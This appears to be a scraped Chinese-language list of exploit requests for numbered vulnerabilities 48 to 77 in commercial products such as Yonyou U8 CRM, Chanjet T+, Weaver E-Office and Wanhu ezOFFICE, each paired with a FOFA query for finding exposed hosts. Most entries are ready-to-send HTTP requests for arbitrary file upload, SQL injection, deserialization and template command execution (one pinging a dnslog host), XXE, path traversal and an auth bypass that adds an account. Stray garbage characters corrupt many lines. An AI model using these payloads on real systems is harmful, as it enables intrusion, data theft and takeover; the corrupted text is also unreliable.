If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
) A) p: H. Y" w0 ]  u+ WConnection: close
3 Q2 E/ X& u: m2 t$ ~: L

# E9 n. G& E# {/ y9 A
48. 用友U8 CRM swfupload 任意文件上传
% W6 K* s8 M0 }# [# PFOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
9 ^3 P8 X! S- }7 \3 R7 HHost: your-ip
" p, Q: x9 r- _5 w: W# BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
: Q9 q3 |+ l3 W7 W/ ]- w5 zAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 w" L* l" m2 c- c# u5 V$ DAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
# l. ?2 N1 N: Z5 ~( MContent-Disposition: form-data; name="file"; filename="s.php"
1231
Content-Type: application/octet-stream
------269520967239406871642430066855
; E) S3 v6 H7 o7 zContent-Disposition: form-data; name="upload"
9 ?" d9 d( L0 y1 h% x$ \* f  [% V" Eupload
------269520967239406871642430066855--
3 X" Y: p) I6 S  m

49. 用友U8 CRM系统uploadfile.php接口任意文件上传
, w- [, r* _* w$ U$ DFOFA：body="用友U8CRM"

8 y% G% ?3 |6 b$ r9 TPOST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
" c* `6 u! ^+ T9 XHost: x.x.x.x
3 f0 C1 ]* m9 KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Length: 329
9 \5 o, u) b. C7 k/ a9 t* wAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
1 \; I6 T6 F$ Q( Y! K/ _: aAccept-Encoding: gzip, deflate
0 o: e' N$ U( V" P, v. w# ?Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 N7 x5 m: S3 o3 h0 }% [Connection: close
# S- X0 I, X5 W- A! e/ [Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w
# h; W. J/ l$ b0 i! x' l6 W4 X
  V" i6 a, u* W) Y- d1 ]-----------------------------vvv3wdayqv3yppdxvn3w
  Y# g+ m5 N% b7 [6 v* R, NContent-Disposition: form-data; name="file"; filename="%s.php "
Content-Type: application/octet-stream

wersqqmlumloqa
7 j# w  m" N' [9 X7 I3 W% r-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"
. J/ ?+ V$ ~: g. W$ B
upload
-----------------------------vvv3wdayqv3yppdxvn3w--
( B- \; ?9 Z$ g2 X4 R- l+ Q9 X
% w; G# S1 y; Q6 h
http://x.x.x.x/tmpfile/updB3CB.tmp.php
5 H7 t  \  Z% e6 u7 B. q# B5 i
2 p* g1 Q6 M' A6 J: t/ ^. H) ?" i50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
* x6 ~& K! f1 n' ?, D- M  rHost: x.x.x.x
( v( Z( e5 P8 CUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 224
5 Z/ c( i8 M, o. A" q- O5 lAccept: */*
" g: o" O0 y* b; P# ?Accept-Language: en
5 g4 ^$ m; N8 s5 k  {( _Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
9 [- F$ F& z! k0 l
9 k2 p. y$ D2 ]0 ?' V# D+ q3 [searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1

2 `/ c( F0 [7 a
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
FOFA：app="云时空社会化商业ERP系统"
GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
: m; V' j  s) |, O" jUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
! C& w/ T% M0 r1 VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
0 [: ^: r* g% q& I# q* w1 x: k; LAccept-Encoding: gzip, deflate
6 ]0 S! r: B9 zAccept-Language: zh-CN,zh;q=0.9
0 D' c6 ^+ v7 F4 K' X' m# J9 \Connection: close
1 h' J+ L& J! d
# t8 l* {7 ]/ x) f0 Q) p. T1 v. v
52. 泛微E-Office json_common.php sql注入
FOFA：app="泛微-EOffice"
4 A2 i, `4 g  g2 W+ c+ LPOST /building/json_common.php HTTP/1.1
; E4 V- l8 e3 e* P2 N9 ]7 ^  l# G* QHost: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Content-Length: 87
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
( r1 d2 W9 k0 y* Q7 {
# o4 s7 c! x8 p. H4 {; Z, h9 [8 x% Ptfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333


4 U" p5 z7 ~) S) N% B( |53. 迪普 DPTech VPN Service 任意文件上传
1 S4 N) z# D* zFOFA：app="DPtech-SSLVPN"
9 E# `7 j$ U/ Y: N' B/ y/ e/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

0 x% t2 m' k+ ?& l. B/ g
$ V& x2 Z& S1 }! l  P54. 畅捷通T+ getstorewarehousebystore 远程代码执行
' `8 t8 ^+ a5 l7 }! `. hFOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"

1 @! u6 H; H- l
完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
$ a8 T" E( w) s- rHost: x.x.x.x
* C8 N% j" }: q  y, `. oUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593

' o& |0 N3 _/ g" g6 O! @5 ?{
"storeID":{
7 E$ _! u3 v" G "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
- t, x; H" p# \) c  "ObjectInstance":{
# V& V! J7 y- l! N   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
! c0 i" B' X, ^5 E" q0 W   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
% b' ~; m; r& j$ Y    "FileName":"cmd",
" P8 r) S" ^+ o( m+ ?    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
+ ^" Q! Z" F% v    }
, E5 u( L5 @$ C$ N/ @! f1 j  }
  }
) p8 z' s3 |- M0 F7 t}

0 x" E2 p4 ~8 @2 Y$ V: u
第二步，访问如下url
/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt
* t: u! M5 L$ f3 F. p( F4 S
+ ~& a! P4 a; s$ |: M' s) X1 D, ^
55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
2 e3 J% n0 s# p# z9 f第一步，通过
/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
1 Q! n  f4 {; K* e) c& T第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
' z0 ^- E9 I5 x* [9 _  }
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
7 b1 A0 f$ v& c+ w9 B- HPOST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
1 r+ B: y: Z, _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json
% Z, |7 J2 F+ R0 n& X; x0 d
{
( g2 D0 l9 _% B: h; D7 s! n4 o& G. h  "storeID":{
+ s+ U0 ], d) E3 c    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
& I1 s2 U% ~) Z$ P" y! c   "MethodName":"Start",
    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
' Z9 p3 T. O0 S4 E        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
0 e, G; @8 s6 t7 ~4 C  _, J$ w2 M$ U           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
       }
    }
  }
}
1 h6 R# x4 U3 p4 S" `
5 T1 ?$ |: b" U0 y% n' j# B
57. 畅捷通T+ keyEdit.aspx SQL注入
FOFA：app="畅捷通-TPlus"
2 G& X- l, d) ]GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
, J- q; Z# P5 y7 {$ KHost: host
6 y$ ^; [: b  H& g2 rUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
) n8 {5 F0 a+ r  H3 RConnection: close
5 v' M1 P; I, M  h1 K" c1 A% K
5 ^' Y& i& D0 ?9 }3 J; |; a
( F7 a% u. e* [- n% R58. 畅捷通T+ KeyInfoList.aspx sql注入
7 q( e$ O' e2 s" lFOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close


59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
5 ^6 ~  R. g2 A2 y. [) u1 }FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
% \* ^! Z: O; z& B4 {4 GHost: 192.168.86.128:9090
5 `' g9 ~5 m+ d; E9 Y7 N! \; JUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
; X! r# s8 Z% ~3 o0 KContent-Length: 1669
4 J  }0 n1 |# e: q- g2 a2 E4 ~# CAccept: */*
) \& H6 {9 o4 ~! tAccept-Language: en
Content-Type: application/x-www-form-urlencoded
. b5 a+ t- d7 F# R# l8 E2 [Accept-Encoding: gzip

1 \; B" q- D4 {4 p5 [& H4 X) S- qPAYLOAD


60. 百卓Smart管理平台 importexport.php SQL注入
0 Z  v" y  q2 z' ^FOFA：title="Smart管理平台"
5 R4 m* q4 p4 m- C7 {GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
4 O7 |) F5 n3 h$ W% W6 IHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
$ a" q4 l# [- S! V) c2 A" }Connection: close
1 \. K4 t" K" S

61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
! v1 Z) @, t" ]" TFOFA: title="欢迎使用浙大恩特客户资源管理系统"
POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
  Z% W7 l) l9 O/ `' `# dHost: x.x.x.x
3 p0 c' p+ c# c* |- g. cUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
4 C7 r; j1 i0 A) K8 GConnection: close
0 T% A+ s! c+ k; A9 q, A- c  `Content-Length: 27
Accept: */*
Accept-Encoding: gzip, deflate
$ V) [/ a; _- m+ p/ \Accept-Language: en
Content-Type: application/x-www-form-urlencoded

& U. v5 n* Q  l9 s: x8uxssX66eqrqtKObcVa0kid98xa
$ C' d& n* I' Z: m7 ?: y& {

8 o# u; [2 U% d8 B62. IP-guard WebServer 远程命令执行
# S7 C( S( s  B4 q. D+ }FOFA："IP-guard" && icon_hash="2030860561"
3 o. w  L& k5 L3 ~( u% t% K. ?GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
; Z. L- z% K  k9 OConnection: close
; C0 u! V1 X1 Z: m% }0 ^Accept: */*
! b+ A4 E8 z1 M) {Accept-Language: en
Accept-Encoding: gzip

8 p+ J" b4 S. j& J0 U
. c4 H( @5 ]* e1 G- `1 }访问
) A2 v9 ?2 Q& `2 K1 Y7 R
6 j2 b4 l8 N, k$ l1 B: iGET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
# }5 t7 ]: }5 a" M9 y2 g) ^Host: x.x.x.x
3 d/ F1 h/ y4 ], u+ O; F5 i. i

63. IP-guard WebServer任意文件读取
IP-guard < 4.82.0609.0
FOFA：icon_hash="2030860561"
1 ~) n3 I2 ]: ^8 d" HPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
( t6 G$ C, J& c% Q. }9 w4 QHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
; q3 K5 W1 H4 C; {9 CAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
1 z5 g. F3 A! V- V5 ]  v) M3 l1 S
( c* h; O6 j5 k1 }% epath=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
/ f  I5 D0 k+ j& |, a3 z7 h
% \0 c. A' [7 L) P3 Y; o/ E64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: 192.168.86.128:9001
/ v5 z1 m8 D- \: `7 \- cUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
Content-Length: 369
Accept: */*
Accept-Language: en
Content-Type: text/xml; charset=utf-8
3 x2 X$ g2 T4 J( n) aAccept-Encoding: gzip

* b: ^! `' s) _<?xml version="1.0" encoding="utf-8"?>
+ K. L+ J5 ]* y- k$ W0 j<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
/ n: v# T2 \& j" c0 B# d    <GetOSpById xmlns="http://tempuri.org/">
# \3 t! U; _/ `& @# e      <sId>1';waitfor delay '0:0:5'--+</sId>
0 d( E9 ?' o: \- X    </GetOSpById>
' k$ f- _  Y6 h/ z5 N  </soap:Body>
</soap:Envelope>
- J0 L; |  L) d+ N- r/ t

' g4 E$ R) z9 E. C65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
, Z0 N# G; |+ V7 a响应200即成功创建账号test123456/123456
9 ?8 Q0 Z: i0 N, N( g0 sPOST /SystemMng.ashx HTTP/1.1
Host:
' N! m( k' m# V. J. xUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
4 c+ F. |4 W) B! V" A; FAccept-Encoding: gzip, deflate
Accept: */*
* s% Q+ c' Z9 WConnection: close
- X: Q7 ^( t( b- D) ~Accept-Language: en
( w& Y8 r! a# W# AContent-Length: 174

operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators


7 ]3 }# a* Q% j7 J& [. h; L66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
FOFA：app="万户ezOFFICE协同管理平台"

GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
. o- F2 D1 j# @8 q- y" GConnection: close
Accept: */*
! ~9 T$ A; ]" e. i( }, O1 cAccept-Language: en
3 _; d) g5 m. i/ M) o6 xAccept-Encoding: gzip

5 I6 q& h3 m5 p5 ^/ o( ^$ X5 ~8 O
第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

67. 万户ezOFFICE wpsservlet任意文件上传
FOFA：app="万户网络-ezOFFICE"
1 R3 \# R% S3 ^; u& a# LnewdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
* d, W9 @% n5 R/ v. R6 y) tHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
! ]0 q0 l$ b1 ^# K1 }4 K0 RAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
0 u+ z8 n7 _' O. H: BAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
7 Z, L% C* c0 f; u  WContent-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
0 F. v, a* m1 i* j: r; m1 ^. mDNT: 1
, e5 Q4 F9 X9 R7 Y2 y9 cUpgrade-Insecure-Requests: 1
; m1 M" g, k/ R2 r: {
+ W: E: L2 ^: J$ ?3 j3 W5 H--ufuadpxathqvxfqnuyuqaozvseiueerp
Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"

7 V# ^! ?$ ], `& \<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--


% L* |" ?6 R' C3 M) i! k文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

68. 万户ezOFFICE wf_printnum.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
4 {% p7 \% M8 [2 o2 f+ OGET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
8 X" J2 i  z( WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
0 W3 W! ]7 g( J5 Z+ t5 P3 D% xAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
* w" ?# @  z3 Z! v# l. M6 \  q  ~
7 {6 a) w. t9 ~3 b
69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
! a* R* L  M* c- tGET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
3 N& h, z$ a. M; p  R7 t( CUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
5 C6 o& z- d, C+ w" EConnection: keep-alive


( V3 P- ]0 H% ~- ^1 S6 I" j8 e4 e7 ^70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
" l" g# T9 e! s( l1 Q* kPOST /member/success.aspx HTTP/1.1
Host: {{Hostname}}
7 x* X+ ?* W3 T! P( NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
3 [! h1 c. T' KContent-Type: application/x-www-form-urlencoded
TYPE: C
  w5 K1 ^# e4 Y% B; @" z2 A, ?Content-Length: 16702
% i1 q& ~8 ~6 _% |0 f( M% x1 ^
' J( x- P' H3 P' @/ c__VIEWSTATE=PAYLOAD
+ k$ |; N- U& \
8 Q7 v+ G5 r( ^% \$ z
6 G4 |2 f+ ?1 Q) Y, \! l, x71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
  a  x" C; B* m- V: |FOFA：body="PM2项目管理系统BS版增强工具.zip"
) L: r6 g: a  s% w( ]- rGET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
$ _' i4 s4 [; Z% O+ F( Z1 pHost: x.x.x.xx.x.x.x
. R6 Q/ {2 t: r0 l1 ]User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
7 L6 A$ Z: ^8 l7 _) aConnection: close
  T7 }7 a& B2 ]' s( u+ ?9 IAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
& ^0 k% e, p1 J3 T( cAccept-Encoding: gzip, deflate
( D  b- n% J  }9 HAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ j. X7 }9 t  W# `$ QUpgrade-Insecure-Requests: 1


2 ?/ y2 R) p0 `, G& G: V& |$ U72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
2 Q0 x9 {" I/ s* uPOST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 583
0 H9 O7 z3 n$ E: L5 S$ {: _Content-Type: application/x-www-form-urlencoded
5 Z1 O" t) A: Q  Q2 QAccept-Encoding: gzip

S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
0 j' W, A0 P3 _1 [8 X& V

73. GeoServer wms远程代码执行
FOFA：icon_hash=”97540678”
1 a$ k0 |2 d# g/ ~POST /geoserver/wms HTTP/1.1
) D$ V  [+ X9 f  N- ]4 {% ^. e$ ]Host:
& S" }( x# j+ C2 f, n, PUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
, w7 j* M& `1 s; g1 e5 h9 ]Content-Length: 1981
Accept-Encoding: gzip, deflate
Connection: close
  O, a! k/ J* Z$ u: q# BContent-Type: application/xml
SL-CE-SUID: 3
+ q- p  `! Z0 q4 h8 w7 i& j
PAYLOAD
) I! S3 y+ @' M8 p8 N
& E, H( B  W3 t. @
+ ~8 a1 \) g4 ~* }( E6 J; O74. 致远M3-server 6_1sp1 反序列化RCE
6 l. v8 @7 C4 z) GFOFA：title="M3-Server"
PAYLOAD

75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
) ]% j3 C/ a* b) vHost: x.x.x.x
* T7 y  R4 N( h  j; ?4 x3 DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
9 M1 B# P! J, k1 yAccept: */*
Accept-Language: en
+ f' R9 x* P/ yAccept-Encoding: gzip


. a  ?' r/ d6 I& x7 sGET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x


* x; r" q2 Y9 S76. 新开普掌上校园服务管理平台service.action远程命令执行
' t; D& T7 [+ ^8 pFOFA：title="掌上校园服务管理平台"
% {3 p( X/ n3 {3 N, b! gPOST /service_transport/service.action HTTP/1.1
7 s& ]$ i% a3 Q# E- s, FHost: x.x.x.x
# f$ ?$ r3 t+ M) Y) a7 eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
. L4 G7 F! }& w0 ^* o7 zConnection: close
9 v/ a* {* P1 \7 }Content-Length: 211
- B* p- l  O- O* J/ X* \3 H  \/ P7 CAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6 \$ s% X. o! A% ~9 u; }9 UAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 w) |. p8 [3 {. ]! m. QCookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1

8 z& Z1 S, Q$ C( ?# R* H{
, p# t( g+ x. _7 a"command": "GetFZinfo",
  K& C7 A/ @- x0 E1 o2 |  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
/ ?/ T1 F* X1 H$ Q. D  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
& `) Y* e4 f# n, W3 @. S/ S4 J/ \}
3 f* u) B' i5 y$ A' Q9 F

# z& ~3 K! X3 Z+ I% h6 bGET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
$ j, r' {' D7 E% C- OHost: x.x.x.x
, h4 H1 L/ F5 v# k+ ^) b6 q/ ^

) C, C# U) x3 p2 b6 P  b
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
" T3 \6 j# K) w9 |' hFOFA：body="F22WEB登陆"
